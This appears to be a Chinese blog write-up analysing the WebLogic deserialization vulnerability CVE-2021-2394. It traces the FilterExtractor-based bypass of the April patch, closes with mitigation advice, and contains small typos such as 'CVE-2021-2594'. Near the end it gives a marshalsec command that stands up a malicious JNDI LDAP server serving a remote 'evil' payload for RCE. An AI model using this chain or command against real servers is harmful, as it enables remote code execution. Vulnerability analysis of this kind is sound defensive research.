Weblogic CVE-2021-2394 分析

图片[1]-Weblogic CVE-2021-2394 分析-安全小百科

作者:白帽汇安全研究院@kejaly

校对:白帽汇安全研究院@r4v3zn

前言

在2021年7月21日,Oracle官方 发布了一系列安全更新。涉及旗下产品(Weblogic Server、Database Server、Java SE、MySQL等)的 342 个漏洞,https://www.oracle.com/security-alerts/cpujul2021.htm。其中,Oracle WebLogic Server 产品中有高危漏洞,漏洞编号为 CVE-2021-2594,CVSS 评分9.8分,影响多个 WebLogic 版本,且漏洞利用难度低,可基于 T3 和 IIOP 协议执行远程代码。

图片[2]-Weblogic CVE-2021-2394 分析-安全小百科

经过分析,此次漏洞结合了 CVE-2020-14756 和 CVE-2020-14825 反序列化链,利用FilterExtractor 这个类来对4月份补丁进行绕过。

补丁回顾

在4月份补丁中,对 ExternalizableHelper 中的 readExternalizable 做了修改,增加了对传入的 DataInput 判断,如果是 ObjectInputStream 类型就会调用 checkObjectInputFilter 函数进行过滤。所以再利用 CVE-2020-14756 中直接反序列化 com.tangosol.coherence.rest.util.extractor.MvelExtractor 来造成 RCE 的方法已经行不通了。

图片[3]-Weblogic CVE-2021-2394 分析-安全小百科

调试环境

本文基于 win7 虚拟机 + Weblogic 12.1.4 版本 + jdk 8u181 进行研究分析测试

修改目录 user_project/domains/base_domain/bin 目录中 setDomainEnv.cmd ,加if %debugFlag == "true"% 之前加入 set debugFlag=true

图片[4]-Weblogic CVE-2021-2394 分析-安全小百科

拷贝 Oracle_Home 目录下所有文件至调试目录,将 coherenceliboracle_commonmodules 目录下所有文件添加到 Libraries:

图片[5]-Weblogic CVE-2021-2394 分析-安全小百科

配置 idea 中 jdk 版本与虚拟机中运行的 weblogic jdk 版本保持一致。

添加 remote 调试:

图片[6]-Weblogic CVE-2021-2394 分析-安全小百科

漏洞利用

该漏洞主要是因为 FilterExtractorreadExternal 方法中会直接 new 一个 MethodAttributeAccessor 对象,使得生成 MethodAttributeAccessor的时候不会受到黑名单的限制,来对4月份的补丁进行绕过。

FilterExtractor 类具有如下特征:

1.FilterExtractor 实现了 ExternalizableLite 接口,重写了 readExternal 方法:

图片[7]-Weblogic CVE-2021-2394 分析-安全小百科

图片[8]-Weblogic CVE-2021-2394 分析-安全小百科

readExternal 会调用oracle.eclipselink.coherence.integrated.internal.cache.SerializationHelper#readAttributeAccessor 方法:

图片[9]-Weblogic CVE-2021-2394 分析-安全小百科

可以看到会 new 一个 MethodAttributeAccessor 对象,然后根据 DataInput 赋值它的 setAttributeNamesetGetMethodName 以及 setSetMethodName 属性(这就导致这三个属性是可控的)。

2.FilterExtractorextract 方法中存在 this.attributeAccessor.getAttributeValueFromObject() 的调用。

图片[10]-Weblogic CVE-2021-2394 分析-安全小百科

熟悉 coherence 组件的漏洞的朋友应该知道在 CVE-2020-14825 中,就是利用 MethodAttributeAccessor.getAttributeValueFromObject() 来实现任意无参方法的调用的。

图片[11]-Weblogic CVE-2021-2394 分析-安全小百科

虽然 MethodAttributeAccessor 已经加入到了黑名单,但是在上面提到的 readExternal 方法中恰好直接 new 了一个 MethodAttributeAccessor 对象,也就是说不是通过反序列化得到 MethodAttributeAccessor 对象,自然也就不受黑名单的影响。

调用链

完整调用链如下:

图片[12]-Weblogic CVE-2021-2394 分析-安全小百科

图片[13]-Weblogic CVE-2021-2394 分析-安全小百科

漏洞分析

根据构造的 poc ,我们首先在 AttributeHolder 类的 readExternal方法中打上断点,另一边则运行我们的 poc ,成功断下:

图片[14]-Weblogic CVE-2021-2394 分析-安全小百科

步入,会调用到 com.tangosol.util.ExternalizableHelper 中的 readObject 方法:

图片[15]-Weblogic CVE-2021-2394 分析-安全小百科

步入,最后会进入到 com.tangosol.util.ExternalizableHelper中的 readObjectInternal 方法中调用 readExternalizableLite 方法:

图片[16]-Weblogic CVE-2021-2394 分析-安全小百科

图片[17]-Weblogic CVE-2021-2394 分析-安全小百科

步入,在com.tangosol.util.ExternalizableHelper#readExternalizableLite 方法中,首先会调用 loadClass 去加载类,然后调用无参构造函数实例化一个对象,这里个加载的类是 com.tangosol.util.aggregator.TopNAggregator$PartialResult

图片[18]-Weblogic CVE-2021-2394 分析-安全小百科

图片[19]-Weblogic CVE-2021-2394 分析-安全小百科

随后会调用 com.tangosol.util.aggregator.TopNAggregator$PartialResult 类的 readExternal 方法:

图片[20]-Weblogic CVE-2021-2394 分析-安全小百科

步入,会再次调用 com.tangosol.util.ExternalizableHelper.readObject 方法来读取一个对象并且赋值到 this.m_comparator 中,

图片[21]-Weblogic CVE-2021-2394 分析-安全小百科

步入,之后会再次调用到 com.tangosol.util.ExternalizableHelper#readExternalizableLite 方法,由于这次读取的 sClassoracle.eclipselink.coherence.integrated.internal.querying.FilterExtractor ,所以会实例化一个 FilterExtractor 对象,然后调用它的 readExternal 方法:

图片[22]-Weblogic CVE-2021-2394 分析-安全小百科

图片[23]-Weblogic CVE-2021-2394 分析-安全小百科

步入 ,来到 FilterExtractorreadExteral 中,会调用 oracle.eclipselink.coherence.integrated.internal.cache.SerializationHelper#readAttributeAccessor 方法:

图片[24]-Weblogic CVE-2021-2394 分析-安全小百科

步入,会 new 一个 MethodAttributeAccessor 对象,并且调用 com.tangosol.util.SerializationHelper#readObject 方法给 MethodAttributeAccessor 对象的 attributeName , getMethodNamesetMethodName 这三个属性赋值:

图片[25]-Weblogic CVE-2021-2394 分析-安全小百科

赋值之后的结果为:

图片[26]-Weblogic CVE-2021-2394 分析-安全小百科

再回到之前的 com.tangosol.util.aggregator.TopNAggregator$PartialResult 类的 readExternal 方法中,this.m_comparator 变成了上面 oracle.eclipselink.coherence.integrated.internal.querying.FilterExtractor 对象:

图片[27]-Weblogic CVE-2021-2394 分析-安全小百科

图片[28]-Weblogic CVE-2021-2394 分析-安全小百科

接着在 182 行,会调用 this.instantiateInternalMap(this.m_comparator) 方法,步入,会把 FilterExtractor再封装到 WrapperCompator 中,然后传入 TreeMap的构造函数,实例化一个 TreeMap 对象并且返回:

图片[29]-Weblogic CVE-2021-2394 分析-安全小百科

图片[30]-Weblogic CVE-2021-2394 分析-安全小百科

186 行,调用 this.add 方法,这里 ExternalizableHelper.readObject(in)返回的是 JdbcRowSetImpl 对象

图片[31]-Weblogic CVE-2021-2394 分析-安全小百科

图片[32]-Weblogic CVE-2021-2394 分析-安全小百科

图片[33]-Weblogic CVE-2021-2394 分析-安全小百科

接着步入 super.add 方法:

图片[34]-Weblogic CVE-2021-2394 分析-安全小百科

然后会调用 TreeMap.put 方法,添加传入的 JdbcRowSetImpl 对象,最后会来到 com.tangosol.util.WrapperComparator#compare 方法并触发 this.f_comparator.compare 方法, this.f_comparator 正是之前传入的 FilterExtractor 对象:

图片[35]-Weblogic CVE-2021-2394 分析-安全小百科

图片[36]-Weblogic CVE-2021-2394 分析-安全小百科

步入,会调用 com.tangosol.util.extractor#compare 方法,这个方法中又会调用到 this.extract 方法,也就是会调用 FilterExtractor#extract方法,进而调用 this.attributeAccessorinitializeAttributes 方法, 而此时的 this.attributeAccssorMethodAttributeAccessor 对象,所以会调用 MethodAttributeAccessor#initializeAttributes 方法:

图片[37]-Weblogic CVE-2021-2394 分析-安全小百科

图片[38]-Weblogic CVE-2021-2394 分析-安全小百科

MethodAttributeAccessor 中的 initializeAttributes 方法中首先会调用 this.setGetMethod 方法来设置 MethodAttributeAccessorgetMethod

图片[39]-Weblogic CVE-2021-2394 分析-安全小百科

其中 Helper.getDeclaredMethod 方法流程如下,是通过传入的类,方法名,以及参数类型来得到对应 classMethod

图片[40]-Weblogic CVE-2021-2394 分析-安全小百科

图片[41]-Weblogic CVE-2021-2394 分析-安全小百科

图片[42]-Weblogic CVE-2021-2394 分析-安全小百科

此时由于 theJavaClasscom.sun.rowset.JdbcRowSetImpl, this.getMethodName"prepare" ,所以第一次得到的 prepare 方法:

图片[43]-Weblogic CVE-2021-2394 分析-安全小百科

图片[44]-Weblogic CVE-2021-2394 分析-安全小百科

图片[45]-Weblogic CVE-2021-2394 分析-安全小百科

与 CVE-2020-14825 的反序列化流程不同的是, 因为在 initializeAttributes 的时候,我们不能再通过控制 isWriteOnly 属性为 true ,所以会进入到下面这个 if 分支里面去:

图片[46]-Weblogic CVE-2021-2394 分析-安全小百科

会先调用 this.getSetMethodParameterTypes 得到 this.getGetMethod 属性代表的方法的返回值:

图片[47]-Weblogic CVE-2021-2394 分析-安全小百科

图片[48]-Weblogic CVE-2021-2394 分析-安全小百科

this.getGetMethod 在上一步赋值为了 protected java.sql.PreparedStatement com.sun.rowset.JdbcRowSetImpl.prepare() throws java.sql.SQLException

图片[49]-Weblogic CVE-2021-2394 分析-安全小百科

所以这里 this.getSetMethodParameterTypes 方法得到的是 java.sql.PreparedStatement类型:

图片[50]-Weblogic CVE-2021-2394 分析-安全小百科

然后调用Helper.getDeclaredMethod(theJavaClass, this.getSetMethodName(), this.getSetMethodParameterTypes()); 就会得到 protected java.sql.PreparedStatement com.sun.rowset.JdbcRowSetImpl.prepare() throws java.sql.SQLException 方法。

initializeAttributes 结束后 MethodAttributeAccessor的属性值:

图片[51]-Weblogic CVE-2021-2394 分析-安全小百科

接着,回到 FilterExtractor#extract 方法中,会继续调用 this.attributeAccessor.getAttributeValueFromObject 也就是调用 MethodAttributeAccessor.getAttributeValueFromObject 方法:

图片[52]-Weblogic CVE-2021-2394 分析-安全小百科

步入:

图片[53]-Weblogic CVE-2021-2394 分析-安全小百科

步入,会利用反射调用方法:

图片[54]-Weblogic CVE-2021-2394 分析-安全小百科

此时 this.getMethodprotected java.sql.PreparedStatement com.sun.rowset.JdbcRowSetImpl.prepare() throws java.sql.SQLExceptionabObjectJbbcRoeSetImpl

图片[55]-Weblogic CVE-2021-2394 分析-安全小百科

这就导致了 jndi 注入的产生:

图片[56]-Weblogic CVE-2021-2394 分析-安全小百科

图片[57]-Weblogic CVE-2021-2394 分析-安全小百科

图片[58]-Weblogic CVE-2021-2394 分析-安全小百科

我们在本地使用 marshalsec 搭建恶意 jndi 服务端:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.1.1:8000/#evil 1389
python -m http.server

成功 RCE:

图片[59]-Weblogic CVE-2021-2394 分析-安全小百科

jndi 版本问题

在Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被设置为false,所以此 ldap + jndi 导致 RCE 的方法失效。

<a name=”10.3.6.0 问题” class=”reference-link”>10.3.6.0 问题

在使用基于 TopNAggregator.PartialResult 的 poc 对官网说的版本进行复现的时候,发现 10.3.6.0.0 版本中并不存在 com.tangosol.util.SortedBagcom.tangosol.util.aggregator.TopNAggregator 这两个类:

图片[60]-Weblogic CVE-2021-2394 分析-安全小百科

缺少 SortedBag

图片[61]-Weblogic CVE-2021-2394 分析-安全小百科

缺少 TopNAggregator

图片[62]-Weblogic CVE-2021-2394 分析-安全小百科

weblogic 版本问题

使用不同 weblogic 版本的 jar 包对不同版本的 weblogic 进行测试,经过测试研究发现以下情况:

jar 版本 weblogic 版本 成功情况
12.1.3.0.0 12.1.3.0.0 成功
12.1.3.0.0 12.2.1.3.0 失败
12.1.3.0.0 12.2.1.4.0 失败
12.1.3.0.0 14.1.1.0.0 失败
12.2.1.3.0 12.1.3.0.0 失败
12.2.1.3.0 12.2.1.3.0 成功
12.2.1.3.0 12.2.1.4.0 成功
12.2.1.3.0 14.1.1.0.0 成功
12.2.1.4.0 12.1.3.0.0 失败
12.2.1.4.0 12.2.1.3.0 成功
12.2.1.4.0 12.2.1.4.0 成功
12.2.1.4.0 14.1.1.0.0 成功
14.1.1.0.0 12.1.3.0.0 失败
14.1.1.0.0 12.2.1.3.0 成功
14.1.1.0.0 12.2.1.4.0 成功
14.1.1.0.0 14.1.1.0.0 成功

7月份补丁影响

打了7月份补丁之后,会报错:

图片[63]-Weblogic CVE-2021-2394 分析-安全小百科

原因是在 WebLogicFilterConfig 类的DEFAULT_BLACKLIST_PACKAGES 字段中新增了 oracle.eclipselink.coherence.integrated.internal.querying 这个包:

图片[64]-Weblogic CVE-2021-2394 分析-安全小百科

FilterExtractor 类正好在 oracle.eclipselink.coherence.integrated.internal.querying 包下面,所以导致被黑名单拦截了下来。

修复建议

通用修补建议

Oracle官方已经发布补丁,及时进行更新:https://www.oracle.com/security-alerts/cpujul2021.html

Weblogic 临时修补建议

  1. 如果不依赖 T3协议进行 JVM通信,可禁用 T3协议。
  2. 如果不依赖 IIOP协议进行 JVM通信,可禁用 IIOP协议。

参考

https://www.cnblogs.com/potatsoSec/p/15062094.html

https://mp.weixin.qq.com/s/LbMB-2Qyrh3Lrqc_vsKIdA

相关推荐: 中奖名单公布 | 新书推荐-《Java代码审计(入门篇)》

文末赠书   “师傅领进门,修行靠个人”一说,强调了在钻研某一领域时,个人能动性这一影响因子对成效的左右能力。 不过,在考验个人悟性之前,入门的一步也很有讲究。 系统性的框架搭建和妥帖详实的案例辅助,能够帮助初学者构造出高阔稳固的房梁。当建筑外体初具雏形,后续…

 

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论